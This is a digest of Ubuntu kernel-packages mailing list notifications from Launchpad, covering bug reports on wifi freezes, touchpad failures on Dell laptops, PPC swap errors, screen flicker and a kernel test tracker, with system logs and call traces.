https://bugs.launchpad.net/bugs/1647605

Title:
  constantly freezing on high wifi load

Status in linux package in Ubuntu:
  New

Bug description:
  My device is constantly freezing on high wifi load.

  I tested multiple distros and linux kernels.
  Such as:
  - xubuntu 16.04
  - xubuntu 16.10 and the current mainline kernel
  - current ubuntu 17.04 daily build
  - manjaro 
  - fedora

  It seems to be a general problem. 
  Compared to windows 10, it's not freezing.

  Changing /proc/irq/42/smp_affinity to f also did not help.

  Regards

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1647605/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1644719] Re: Touchpad stops working on Dell Precision 5510 after system upgrade

[Jerry Kao]

** Changed in: linux-lts-vivid (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-lts-vivid in Ubuntu.
https://bugs.launchpad.net/bugs/1644719

Title:
  Touchpad stops working on Dell Precision 5510 after system upgrade

Status in linux-lts-vivid package in Ubuntu:
  Invalid

Bug description:
  Machine: Dell Precision 5510 (1028:06E5)

  After: 
  1. Enable proposed
  2. sudo apt update; sudo apt upgrade
  3. Reboot

  Touchpad is not working anymore, and disappears from xinput, dmesg.

  ProblemType: Bug
  DistroRelease: Ubuntu 14.04
  Package: linux-image-3.19.0-75-generic 3.19.0-75.83~14.04.1
  ProcVersionSignature: Ubuntu 3.19.0-75.83~14.04.1-generic 3.19.8-ckt22
  Uname: Linux 3.19.0-75-generic x86_64
  NonfreeKernelModules: nvidia_drm nvidia_modeset nvidia
  ApportVersion: 2.14.1-0ubuntu3.21
  Architecture: amd64
  CurrentDesktop: Unity
  Date: Fri Nov 25 01:19:39 2016
  DistributionChannelDescriptor:
   # This is a distribution channel descriptor
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-trusty-amd64-osp1-20150721-1
  InstallationDate: Installed on 2016-11-24 (0 days ago)
  InstallationMedia: Ubuntu 14.04 "Trusty" - Build amd64 LIVE Binary 
20150721-23:28
  SourcePackage: linux-lts-vivid
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux-lts-vivid/+bug/1644719/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1634862] Re: PPC + kernel 4.8 swap_dup: Bad swap file entry 2c0000000016ed28

[Talat Batheesh]

Hi,

we didn't see the issue on kernel 4.8.0-27-generic.

do we have fixes that related to this area in kernel 4.8.0-27-generic?

thanks,
Talat

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1634862

Title:
  PPC + kernel 4.8 swap_dup: Bad swap file entry 2c16ed28

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Yakkety:
  In Progress

Bug description:
  Hi 
  on ppc machines with Ubuntu 16.10 (Yakkety Yak), after upgrading to last 
Ubuntu kernel (4.8), and running installation of MLNX_OFED Driver package that 
run a compilation jobs that equal to number of CPUs , the System hangs and we 
got a bad swap file message with pages and pages of the following showing, this 
is just a sample from the system log.
  I had been running with kernel 4.4 and everything worked ok on the same 
machine, so when we upgrade to kernel 4.8 we start to see the following error 

  dmseg log gets lots of this message:

  -
  [10101.785548] swap_dup: Bad swap file entry 2c16ed28
  [10101.785595] swap_dup: Bad swap file entry 2c16ed29
  [10101.785606] swap_dup: Bad swap file entry 2c16ed2a
  [10101.785613] swap_dup: Bad swap file entry 2c16ed2b
  [10101.785622] swap_dup: Bad swap file entry 2c16ed2c
  [10101.785629] swap_dup: Bad swap file entry 2c16ed2d
  [10101.785637] swap_dup: Bad swap file entry 2c16ed2e
  [10101.785648] swap_dup: Bad swap file entry 2c16ed2f
  [10101.785659] swap_dup: Bad swap file entry 2c16ed2e   and call 
trace : 
  Call Trace:  
  [10101.785773] [c002fb923ac0] [c0b9db00] dump_stack+0xb0/0xf0 
(unreliable)  
  [10101.785789] [c002fb923b00] [c0b9b330] dump_header+0x84/0x224   
  
  [10101.785801] [c002fb923bd0] [c025d724] 
oom_kill_process+0x3b4/0x5c0   
  [10101.785811] [c002fb923c80] [c025dc80] 
out_of_memory+0x290/0x580  
  [10101.785822] [c002fb923d30] [c025dff4] 
pagefault_out_of_memory+0x84/0xb0  
  [10101.785836] [c002fb923d80] [c0b94d44] 
do_page_fault+0x7c4/0x7d0  
  [10101.785849] [c002fb923e30] [c0008948] 
handle_page_fault+0x10/0x30   


  
  # cat /etc/*-release
  DISTRIB_ID=Ubuntu
  DISTRIB_RELEASE=16.10
  DISTRIB_CODENAME=yakkety
  DISTRIB_DESCRIPTION="Ubuntu 16.10"
  NAME="Ubuntu"
  VERSION="16.10 (Yakkety Yak)"
  ID=ubuntu
  ID_LIKE=debian
  PRETTY_NAME="Ubuntu 16.10"
  VERSION_ID="16.10"
  HOME_URL="http://www.ubuntu.com/;
  SUPPORT_URL="http://help.ubuntu.com/;
  BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/;
  
PRIVACY_POLICY_URL="http://www.ubuntu.com/legal/terms-and-policies/privacy-policy;
  VERSION_CODENAME=yakkety
  UBUNTU_CODENAME=yakkety

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1634862/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1647587] [NEW] screen flickers randomly

[h-muus]

Public bug reported:

every 1 to 5 seconds screen flashes 1 to 3 times
each flash is very short, may be 10 out of 60 frames per second
if more than 1 flash, than time between flashes is about half a second
the more activity the more flashes
this happened also with 4.4.0-51 while 4.4.0-47 works without flickering

version
Ubuntu 4.4.0-53.74-generic 4.4.30

release
Description:Ubuntu 16.04.1 LTS
Release:16.04

lspci-vnvn.log attached

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: linux-image-4.4.0-53-generic 4.4.0-53.74
ProcVersionSignature: Ubuntu 4.4.0-53.74-generic 4.4.30
Uname: Linux 4.4.0-53-generic x86_64
ApportVersion: 2.20.1-0ubuntu2.1
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC1:  hendrik1579 F pulseaudio
 /dev/snd/controlC0:  hendrik1579 F pulseaudio
 /dev/snd/controlC2:  hendrik1579 F pulseaudio
CurrentDesktop: Unity
Date: Tue Dec  6 09:09:58 2016
HibernationDevice: RESUME=UUID=759e9aeb-bcba-451e-b96f-dea4dea216ed
InstallationDate: Installed on 2016-07-28 (130 days ago)
InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1)
IwConfig:
 lono wireless extensions.
 
 enp4s0no wireless extensions.
 
 enx8000600fe800  no wireless extensions.
MachineType: System manufacturer System Product Name
ProcEnviron:
 LANGUAGE=de_AT:de
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=de_AT.UTF-8
 SHELL=/bin/bash
ProcFB: 0 radeondrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-53-generic 
root=UUID=512b101c-7fa3-4ea6-82e6-2dac5f7db543 ro quiet splash vt.handoff=7
RelatedPackageVersions:
 linux-restricted-modules-4.4.0-53-generic N/A
 linux-backports-modules-4.4.0-53-generic  N/A
 linux-firmware1.157.5
RfKill:
 
SourcePackage: linux
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 09/23/2016
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: 2001
dmi.board.asset.tag: Default string
dmi.board.name: B150M-A
dmi.board.vendor: ASUSTeK COMPUTER INC.
dmi.board.version: Rev X.0x
dmi.chassis.asset.tag: Default string
dmi.chassis.type: 3
dmi.chassis.vendor: Default string
dmi.chassis.version: Default string
dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr2001:bd09/23/2016:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnB150M-A:rvrRevX.0x:cvnDefaultstring:ct3:cvrDefaultstring:
dmi.product.name: System Product Name
dmi.product.version: System Version
dmi.sys.vendor: System manufacturer

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug xenial

** Attachment added: "log as requested"
   
https://bugs.launchpad.net/bugs/1647587/+attachment/4787925/+files/lspci-vnvn.log

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1647587

Title:
  screen flickers randomly

Status in linux package in Ubuntu:
  New

Bug description:
  every 1 to 5 seconds screen flashes 1 to 3 times
  each flash is very short, may be 10 out of 60 frames per second
  if more than 1 flash, than time between flashes is about half a second
  the more activity the more flashes
  this happened also with 4.4.0-51 while 4.4.0-47 works without flickering

  version
  Ubuntu 4.4.0-53.74-generic 4.4.30

  release
  Description:  Ubuntu 16.04.1 LTS
  Release:  16.04

  lspci-vnvn.log attached

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-53-generic 4.4.0-53.74
  ProcVersionSignature: Ubuntu 4.4.0-53.74-generic 4.4.30
  Uname: Linux 4.4.0-53-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  hendrik1579 F pulseaudio
   /dev/snd/controlC0:  hendrik1579 F pulseaudio
   /dev/snd/controlC2:  hendrik1579 F pulseaudio
  CurrentDesktop: Unity
  Date: Tue Dec  6 09:09:58 2016
  HibernationDevice: RESUME=UUID=759e9aeb-bcba-451e-b96f-dea4dea216ed
  InstallationDate: Installed on 2016-07-28 (130 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  IwConfig:
   lono wireless extensions.
   
   enp4s0no wireless extensions.
   
   enx8000600fe800  no wireless extensions.
  MachineType: System manufacturer System Product Name
  ProcEnviron:
   LANGUAGE=de_AT:de
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_AT.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-53-generic 
root=UUID=512b101c-7fa3-4ea6-82e6-2dac5f7db543 ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-53-generic N/A
   linux-backports-modules-4.4.0-53-generic  N/A
   linux-firmware1.157.5
  RfKill:
   
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  

[Kernel-packages] [Bug 1590590] Re: Touchpad not recognized on Dell Latitude E7470 Ultrabook

[Stephan Druskat]

Merry Christmas indeed! Thanks, Phidias! Thanks Ubuntu kernel team!

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1590590

Title:
  Touchpad not recognized on Dell Latitude E7470 Ultrabook

Status in linux package in Ubuntu:
  Triaged
Status in xserver-xorg-input-synaptics package in Ubuntu:
  Confirmed

Bug description:
  Expected: Touchpad settings available in Mouse & Touchpad Settings
  dialog

  Actual result: Touchpad settings missing entirely

  
  Details:
  The touchpad on my Dell Ultrabook (Latitude E7470) functions mostly. 

  The settings for the touchpad are not available at all in the Mouse
  and Touchpad settings (see http://i.imgur.com/YRGiOrj.png).

  Two-finger scrolling works as expected except it's using "Natural
  Scrolling" by default and there is no way to change it.

  xinput list does not display a touchpad at all:

  ⎡ Virtual core pointerid=2[master pointer  (3)]
  ⎜   ↳ Virtual core XTEST pointer  id=4[slave  pointer 
 (2)]
  ⎜   ↳ ELAN Touchscreenid=11   [slave  pointer 
 (2)]
  ⎜   ↳ ImPS/2 Generic Wheel Mouse  id=13   [slave  pointer 
 (2)]
  ⎣ Virtual core keyboard   id=3[master keyboard (2)]
  ↳ Virtual core XTEST keyboard id=5[slave  
keyboard (3)]
  ↳ Power Buttonid=6[slave  
keyboard (3)]
  ↳ Video Bus   id=7[slave  
keyboard (3)]
  ↳ Power Buttonid=8[slave  
keyboard (3)]
  ↳ Sleep Buttonid=9[slave  
keyboard (3)]
  ↳ Integrated_Webcam_FHD   id=10   [slave  
keyboard (3)]
  ↳ AT Translated Set 2 keyboardid=12   [slave  
keyboard (3)]
  ↳ Dell WMI hotkeysid=14   [slave  
keyboard (3)]
  ↳ DELL Wireless hotkeys   id=15   [slave  
keyboard (3)]

  
  /proc/bus/input/devices lists the device as a "Generic Wheel Mouse"

  Output of `lsb_release -rd`:
  Description:  Ubuntu 16.04 LTS
  Release:  16.04

  xserver-xorg-input-synaptics version information:
  xserver-xorg-input-synaptics:
Installed: 1.8.2-1ubuntu3
Candidate: 1.8.2-1ubuntu3
Version table:
   *** 1.8.2-1ubuntu3 500
  500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages
  100 /var/lib/dpkg/status

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1590590/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1642044] pepe (i386) - tests ran: 5, failed: 3

[Brad Figg]

tests ran:   5, failed: 3;
  
http://kernel.ubuntu.com/testing/4.9.0-6.7-generic/pepe__4.9.0-6.7__2016-12-06_05-58-00/results-index.html

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1642044

Title:
  linux: 4.9.0-6.7 -proposed tracker

Status in Kernel Development Workflow:
  Incomplete
Status in Kernel Development Workflow automated-testing series:
  New
Status in Kernel Development Workflow prepare-package series:
  Confirmed
Status in Kernel Development Workflow prepare-package-meta series:
  Confirmed
Status in Kernel Development Workflow prepare-package-signed series:
  Confirmed
Status in Kernel Development Workflow promote-to-proposed series:
  New
Status in Kernel Development Workflow promote-to-release series:
  New
Status in Kernel Development Workflow regression-testing series:
  New
Status in linux package in Ubuntu:
  Confirmed
Status in linux source package in Zesty:
  Confirmed

Bug description:
  This bug is for tracking the 4.9.0-6.7 upload package. This bug will
  contain status and testing results related to that upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  kernel-phase:Packaging
  kernel-phase-changed:Tuesday, 15. November 2016 21:25 UTC

  -- swm properties --
  derivative-trackers-created: true
  phase: Packaging

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-development-workflow/+bug/1642044/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp